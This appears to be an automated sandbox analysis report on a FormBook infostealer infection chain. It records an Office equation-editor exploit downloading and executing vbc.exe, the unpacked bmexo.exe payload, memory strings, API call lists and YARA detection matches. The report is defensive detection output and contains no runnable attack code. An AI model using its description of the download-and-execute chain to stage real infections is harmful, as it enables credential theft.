Source: explorer.exe, 00000007.00000000.1034899702.0000000001DD0000.00000002.00000001.00040000.00000000.sdmp	String found in binary or memory: http://www.%s.comPA
Source: explorer.exe, 00000007.00000000.983528544.0000000000335000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000007.00000000.1034341934.0000000000335000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000007.00000000.996739649.0000000000335000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000007.00000000.1009149384.0000000000335000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.autoitscript.com/autoit3
Source: explorer.exe, 00000007.00000000.1015141560.00000000046D0000.00000002.00000001.00040000.00000000.sdmp	String found in binary or memory: http://www.expedia.com/pub/agent.dll?qscr=mcst&strt1=%1&city1=%2&stnm1=%4&zipc1=%3&cnty1=5?http://ww
Source: explorer.exe, 00000007.00000000.1012455681.0000000003B10000.00000002.00000001.00040000.00000000.sdmp	String found in binary or memory: http://www.hotmail.com/oe
Source: explorer.exe, 00000007.00000000.1038912442.0000000003CF7000.00000002.00000001.00040000.00000000.sdmp	String found in binary or memory: http://www.icra.org/vocabulary/.
Source: explorer.exe, 00000007.00000000.1015141560.00000000046D0000.00000002.00000001.00040000.00000000.sdmp	String found in binary or memory: http://www.iis.fhg.de/audioPA
Source: explorer.exe, 00000007.00000000.1012455681.0000000003B10000.00000002.00000001.00040000.00000000.sdmp	String found in binary or memory: http://www.msnbc.com/news/ticker.txt
Source: explorer.exe, 00000007.00000000.993794779.00000000084C0000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000000.1019795394.0000000008807000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000000.1006658399.0000000008575000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.piriform.com/ccleaner
Source: explorer.exe, 00000007.00000000.994238368.0000000008611000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000000.1019525973.0000000008611000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000000.1006887265.0000000008611000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.piriform.com/ccleaner1SPS0
Source: explorer.exe, 00000007.00000000.1007066480.000000000869E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000000.993998682.0000000008575000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000000.1019426082.0000000008575000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000000.994421316.000000000869E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000000.1019795394.0000000008807000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000000.1006658399.0000000008575000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.piriform.com/ccleanerhttp://www.piriform.com/ccleanerv
Source: explorer.exe, 00000007.00000000.999156746.0000000002CBF000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000000.1036163361.0000000002CBF000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000000.1011925093.0000000002CBF000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000000.987988330.0000000002CBF000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.piriform.com/ccleanerq
Source: explorer.exe, 00000007.00000000.1001945671.0000000004385000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000000.989754024.0000000004385000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000000.1014187603.0000000004385000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.piriform.com/ccleanerv
Source: explorer.exe, 00000007.00000000.1012455681.0000000003B10000.00000002.00000001.00040000.00000000.sdmp	String found in binary or memory: http://www.windows.com/pctv.
Source: explorer.exe, 00000007.00000000.983528544.0000000000335000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000007.00000000.1034341934.0000000000335000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000007.00000000.996739649.0000000000335000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000007.00000000.1009149384.0000000000335000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org
Source: explorer.exe, 00000007.00000000.983528544.0000000000335000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000007.00000000.1034341934.0000000000335000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000007.00000000.996739649.0000000000335000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000007.00000000.1009149384.0000000000335000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org
Source: explorer.exe, 00000007.00000000.983528544.0000000000335000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000007.00000000.1034341934.0000000000335000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000007.00000000.996739649.0000000000335000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000007.00000000.1009149384.0000000000335000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/52.0.1/releasenotes

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\E4ED06E0.emf

Jump to behavior

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

Code function: 2_2_035D050B URLDownloadToFileW,ShellExecuteExW,ExitProcess,

2_2_035D050B

Source: global traffic

Source: C:\Users\Public\vbc.exe

Code function: 4_2_0040580F GetDlgItem,GetDlgItem,GetDlgItem,GetDlgItem,GetClientRect,GetSystemMetrics,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,ShowWindow,ShowWindow,GetDlgItem,SendMessageW,SendMessageW,SendMessageW,GetDlgItem,CreateThread,CloseHandle,ShowWindow,ShowWindow,ShowWindow,ShowWindow,SendMessageW,CreatePopupMenu,AppendMenuW,GetWindowRect,TrackPopupMenu,SendMessageW,OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,SendMessageW,GlobalUnlock,SetClipboardData,CloseClipboard,

4_2_0040580F

E-Banking Fraud

Yara detected FormBook

Source: Yara match	File source: 6.0.bmexo.exe.400000.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.0.bmexo.exe.400000.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.bmexo.exe.170000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.bmexo.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.0.bmexo.exe.400000.9.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.bmexo.exe.400000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.bmexo.exe.170000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.0.bmexo.exe.400000.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.0.bmexo.exe.400000.9.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000006.00000000.977269250.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.1173044498.0000000000300000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000000.976211361.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000000.1007465925.000000000A9D3000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.1172863395.0000000000090000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.979111122.0000000000170000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.1050132752.00000000000F0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.1050273447.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000000.1020176757.000000000A9D3000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.1050307444.0000000000430000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.1172976610.0000000000200000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY

System Summary

Malicious sample detected (through community Yara rule)

Source: 6.0.bmexo.exe.400000.7.raw.unpack, type: UNPACKEDPE	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 6.0.bmexo.exe.400000.7.raw.unpack, type: UNPACKEDPE	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 6.0.bmexo.exe.400000.7.unpack, type: UNPACKEDPE	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 6.0.bmexo.exe.400000.7.unpack, type: UNPACKEDPE	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 5.2.bmexo.exe.170000.0.raw.unpack, type: UNPACKEDPE	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 5.2.bmexo.exe.170000.0.raw.unpack, type: UNPACKEDPE	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 6.2.bmexo.exe.400000.1.unpack, type: UNPACKEDPE	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 6.2.bmexo.exe.400000.1.unpack, type: UNPACKEDPE	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 6.0.bmexo.exe.400000.9.raw.unpack, type: UNPACKEDPE	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 6.0.bmexo.exe.400000.9.raw.unpack, type: UNPACKEDPE	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 6.2.bmexo.exe.400000.1.raw.unpack, type: UNPACKEDPE	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 6.2.bmexo.exe.400000.1.raw.unpack, type: UNPACKEDPE	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 5.2.bmexo.exe.170000.0.unpack, type: UNPACKEDPE	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 5.2.bmexo.exe.170000.0.unpack, type: UNPACKEDPE	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 6.0.bmexo.exe.400000.5.unpack, type: UNPACKEDPE	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 6.0.bmexo.exe.400000.5.unpack, type: UNPACKEDPE	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000006.00000000.977269250.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000006.00000000.977269250.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000008.00000002.1173044498.0000000000300000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000008.00000002.1173044498.0000000000300000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000006.00000000.976211361.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000006.00000000.976211361.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000007.00000000.1007465925.000000000A9D3000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000007.00000000.1007465925.000000000A9D3000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000008.00000002.1172863395.0000000000090000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000008.00000002.1172863395.0000000000090000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000005.00000002.979111122.0000000000170000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000005.00000002.979111122.0000000000170000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000006.00000002.1050132752.00000000000F0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000006.00000002.1050132752.00000000000F0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000006.00000002.1050273447.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000006.00000002.1050273447.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000007.00000000.1020176757.000000000A9D3000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000007.00000000.1020176757.000000000A9D3000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000006.00000002.1050307444.0000000000430000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000006.00000002.1050307444.0000000000430000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000008.00000002.1172976610.0000000000200000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000008.00000002.1172976610.0000000000200000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group

Office equation editor drops PE file

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\vbc[1].exe			Jump to dropped file
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	File created: C:\Users\Public\vbc.exe			Jump to dropped file

Source: 6.0.bmexo.exe.400000.7.raw.unpack, type: UNPACKEDPE	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 6.0.bmexo.exe.400000.7.raw.unpack, type: UNPACKEDPE	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 6.0.bmexo.exe.400000.7.unpack, type: UNPACKEDPE	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 6.0.bmexo.exe.400000.7.unpack, type: UNPACKEDPE	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 5.2.bmexo.exe.170000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 5.2.bmexo.exe.170000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 6.2.bmexo.exe.400000.1.unpack, type: UNPACKEDPE	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 6.2.bmexo.exe.400000.1.unpack, type: UNPACKEDPE	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 6.0.bmexo.exe.400000.9.raw.unpack, type: UNPACKEDPE	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 6.0.bmexo.exe.400000.9.raw.unpack, type: UNPACKEDPE	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 6.2.bmexo.exe.400000.1.raw.unpack, type: UNPACKEDPE	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 6.2.bmexo.exe.400000.1.raw.unpack, type: UNPACKEDPE	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 5.2.bmexo.exe.170000.0.unpack, type: UNPACKEDPE	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 5.2.bmexo.exe.170000.0.unpack, type: UNPACKEDPE	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 6.0.bmexo.exe.400000.5.unpack, type: UNPACKEDPE	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 6.0.bmexo.exe.400000.5.unpack, type: UNPACKEDPE	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000006.00000000.977269250.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000006.00000000.977269250.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000008.00000002.1173044498.0000000000300000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000008.00000002.1173044498.0000000000300000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000006.00000000.976211361.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000006.00000000.976211361.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000007.00000000.1007465925.000000000A9D3000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000007.00000000.1007465925.000000000A9D3000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000008.00000002.1172863395.0000000000090000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000008.00000002.1172863395.0000000000090000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000005.00000002.979111122.0000000000170000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000005.00000002.979111122.0000000000170000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000006.00000002.1050132752.00000000000F0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000006.00000002.1050132752.00000000000F0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000006.00000002.1050273447.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000006.00000002.1050273447.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000007.00000000.1020176757.000000000A9D3000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000007.00000000.1020176757.000000000A9D3000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000006.00000002.1050307444.0000000000430000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000006.00000002.1050307444.0000000000430000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000008.00000002.1172976610.0000000000200000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000008.00000002.1172976610.0000000000200000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research

Source: C:\Users\Public\vbc.exe

Code function: 4_2_00403646 EntryPoint,SetErrorMode,GetVersionExW,GetVersionExW,GetVersionExW,lstrlenA,#17,OleInitialize,SHGetFileInfoW,GetCommandLineW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,lstrcatW,lstrcatW,lstrcatW,lstrcmpiW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,ExitProcess,OleUninitialize,ExitProcess,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess,

4_2_00403646

Source: C:\Users\user\AppData\Local\Temp\bmexo.exe	Code function: 5_2_00F21890	5_2_00F21890
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe	Code function: 5_2_00F296A0	5_2_00F296A0
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe	Code function: 5_2_00F27E88	5_2_00F27E88
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe	Code function: 5_2_00F29C12	5_2_00F29C12
